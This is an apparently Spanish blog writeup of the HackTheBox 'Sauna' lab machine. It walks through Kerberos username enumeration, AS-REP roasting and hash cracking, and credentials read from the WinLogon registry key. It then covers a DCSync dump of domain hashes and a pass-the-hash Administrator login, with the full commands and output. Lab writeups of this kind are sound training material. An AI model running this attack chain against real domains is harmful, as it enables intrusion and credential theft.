Posts Hackthebox Sauna Writeup (OSCP Style)
Post
Cancel

Hackthebox Sauna Writeup (OSCP Style)



Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Fácil
Puntos:20
Lanzamiento:15-Febrero-2020
IP:10.10.10.175
Primera sangre de usuario:InfoSecJack
Primera sangre de system:x4nt0n
Creador:egotisticalSW

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts sauna.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 09:53 CDT
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.16s latency).
Not shown: 65515 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49686/tcp open  unknown
49696/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 66.16 seconds
ParámetroDescripción
-p-Escanea los 65535 puertos de la máquina.
–openMuestra solo los puertos abiertos.
-T5Velocidad del escaneo muy agresiva.
-nDesactivar la resolución de nombres DNS.
-oGExportar escaneo en formato grepeable.
–min-ratePaquetes por segundo.

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
intrusionz3r0@kali:~$ nmap -sCV -p53,80,88,135,139,445,5985,9389,49667,49674,49675,49686,49696 -oN targeted sauna.htb
Nmap scan report for sauna.htb (10.10.10.175)
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-09-21 20:49:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=9/21%Time=5F68AF61%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m49s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-09-21T20:51:29
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 08:52:19 2020 -- 1 IP address (1 host up) scanned in 190.93 seconds

ParámetroDescripción
-sCVEs la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios.
-pEspecifica los puertos a enumerar.
-oNExporta el escaneo en formato nmap.

Resumen de puertos.

Los puertos que mas destacan son:

  • Puerto 53 probablemente utilizado para servicios DNS.
  • Puerto 88 con servicio Kerberos.
  • Puerto 139 y 445 con servicios samba.
  • Puerto 389,636 con servicio LDAP.
  • Puerto 5985 con servicio winrm.

Enumeración samba.

Tanto smbclient como smbmap no nos retorno nada interesante.

1
2
3
4
5
6
intrusionz3r0@kali:~$ smbclient -L //sauna.htb/ -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
1
2
intrusionz3r0@kali:~$ smbmap -H sauna.htb         
[+] IP: sauna.htb:445   Name: unknown 

Pero crackmapexec si nos retorno algo de información valiosa.

1
2
intrusionz3r0@kali:~$ cme smb sauna.htb                                               
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

Resumen:

  • Sistema Operativo: Windows 10.0 Build 17763 x64
  • Dominio: EGOTISTICAL-BANK.LOCAL

Enumeración Kerberos.

Para esta parte realizare una ataque de fuerza bruta contra el servicio kerberos con el objetivo de enumerar algunas cuentas de dominio.

Para ello utilizare la herramienta Kerbrute.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
intrusionz3r0@kali:~$ kerbrute userenum --domain egotistical-bank.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt --dc sauna.htb -t 200

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/21/20 - Ronnie Flathers @ropnop

2020/09/21 10:02:56 >  Using KDC(s):
2020/09/21 10:02:56 >   sauna.htb:88

2020/09/21 10:02:57 >  [+] VALID USERNAME:       administrator@egotistical-bank.local
2020/09/21 10:03:06 >  [+] VALID USERNAME:       hsmith@egotistical-bank.local
2020/09/21 10:03:07 >  [+] VALID USERNAME:       Administrator@egotistical-bank.local
2020/09/21 10:03:12 >  [+] VALID USERNAME:       fsmith@egotistical-bank.local

Esto nos devuelve un potencial usuario por lo que intentare probar si este usuario no requiere pre-autenticación en el servicio kerberos.

Ataque ASREPRoast.

El ataque ASREPRoast se basa en encontrar usuarios que no requieren pre-autenticación de Kerberos. Lo cual significa que cualquiera puede enviar una petición AS_REQ en nombre de uno de esos usuarios y recibir un mensaje AS_REP correcto. Esta respuesta contiene un pedazo del mensaje cifrado con la clave del usuario, que se obtiene de su contraseña. Por lo tanto, este mensaje se puede tratar de crackear offline para obtener las credenciales de dicho usuario.

1
2
3
intrusionz3r0@kali:~$ cme ldap sauna.htb -u fsmith -p '' --asreproast AR_REP --kdcHost 10.10.10.175
LDAP        10.10.10.175    389    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
LDAP        10.10.10.175    389    SAUNA            $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:d10afced53fd6cd7d5f967c2f876599a$ae7e92eaf713466099921b1facf5b4245f62828eab09f7a54ea1949b5b9d36081ebd67f9893953848a5e3daa39ccc7f20c4c45b29217195445722de9f5ec323ce7ace015f6d403fb9696c32dd3cff5f6fd9dd4349bae30cbd2bf18ad0bfadaa3d9ff2614625c00577d4c678af64b86445b3ef1ba7acb22359dde0dba3196ccf5e7009de0141ba2aea59d046997eba528a7c9c4bcf73ab2e65b61b8b110255fadde6102aa0b503379ff9a941d88f524f0a027feb55bb7191c0948036ba724b7ad66e5abf4034dda808eabb4edc3b4a642ff262cfc35f53e641fb3280d93ac3cc5ccc4663de6c3cad4e85652213303c81af7587f452e907c055877d7effb137bee

Rápidamente le paso el hash nuestro amigo john para que lo descifre.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt AR_REP 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:01:19 DONE (2020-09-21 10:12) 0.01254g/s 132180p/s 132180c/s 132180C/s Thing..Thereisnospoon
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Shell como el usuario fsmith.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i sauna.htb -u fsmith -p Thestrokes23

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
*Evil-WinRM* PS C:\Users\FSmith\Documents>

Post-Enumeración.

Mientras enumeraba la máquina encontré algunas credenciales almacenadas en WinLogon

1
2
3
4
5
*Evil-WinRM* PS C:\Users\FSmith\Documents> Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

DefaultDomainName DefaultUserName                 DefaultPassword
----------------- ---------------                 ---------------
EGOTISTICALBANK   EGOTISTICALBANK\svc_loanmanager Moneymakestheworldgoround!

Por lo que rápidamente intente inicio sesión con el nuevo usuario pero me salto el siguiente error WinRMAuthorizationError. (Credenciales invalidas)

Era muy probable de que el usuario o la contraseña estuviera mal escrita o que la contraseña perteneciera a otro usuario, por lo que rápidamente reviso los usuario existentes en la máquina.

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\FSmith\Documents> Get-LocalUser

Name          Enabled Description
----          ------- -----------
Administrator True    Built-in account for administering the computer/domain
Guest         False   Built-in account for guest access to the computer/domain
krbtgt        False   Key Distribution Center Service Account
HSmith        True
FSmith        True
svc_loanmgr   True

Y efectivamente el usuario estaba abreviado por eso es que no podíamos loguearnos correctamente.

Shell como el usuario svc_loanmgr.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i sauna.htb -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>

Realizando la enumeración básica no pude encontrar mucho.

Llego la hora de usar BloodHound.

BloodHound

Levanto el servidor de neo4j y ejecuto bloodhound.

Me autentico en mi servidor samba con las credenciales y ejecuto el SharpHound.exe directamente desde mi servidor.

Lo descargo y arrastro el archivo zip al bloodhound.

De acuerdo con el gráfico el usuario SVC_LOANMGR tiene el privilegio GetChangesAll en el dominio EGOTISTICAL-BANK.LOCAL lo que significa que nosotros podemos realizar el famoso ataque DCsync para poder replicar el dominio y obtener los hashes NTLM.

Ataque DCsync.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
intrusionz3r0@kali:~$ sudo secretsdump.py svc_loanmgr:'Moneymakestheworldgoround!'@10.10.10.175
[sudo] password for intrusionz3r0: 
Impacket v0.9.22.dev1+20200819.170651.b5fa089b - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:0dd520dbeebda2c100b90c0b69712d94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:b0b5ce7f22554a42561aee8f24b65ebed57a091d59e3ed2f5cc5a7f9d13d0bb0
SAUNA$:aes128-cts-hmac-sha1-96:a3eaa0d79cb25c32c555f3be95a4eca6
SAUNA$:des-cbc-md5:104c515b86739e08

Shell como Administrador.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i sauna.htb -u Administrator -p aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.